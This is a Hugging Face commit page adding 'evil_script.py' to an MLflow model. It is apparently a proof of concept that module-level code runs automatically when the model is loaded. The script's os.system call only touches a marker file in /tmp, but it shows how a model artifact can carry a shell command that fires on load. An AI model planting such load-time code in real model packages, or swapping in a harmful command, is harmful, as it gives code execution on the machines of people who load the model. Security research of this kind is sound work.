celvexgroup commited on
Commit
672e846
·
verified ·
1 Parent(s): 8385a05

Upload evil_mfc_model/evil_script.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. evil_mfc_model/evil_script.py +14 -0
evil_mfc_model/evil_script.py ADDED
@@ -0,0 +1,14 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os
2
+ import mlflow
3
+ from mlflow.pyfunc import PythonModel
4
+
5
+ # module-level: executes whenever mlflow imports this script (i.e. on load_model)
6
+ os.system("touch /tmp/celvex_marks/MFC_EVIL_MARK")
7
+
8
+
9
+ class Model(PythonModel):
10
+ def predict(self, context, model_input, params=None):
11
+ return model_input
12
+
13
+
14
+ mlflow.models.set_model(Model())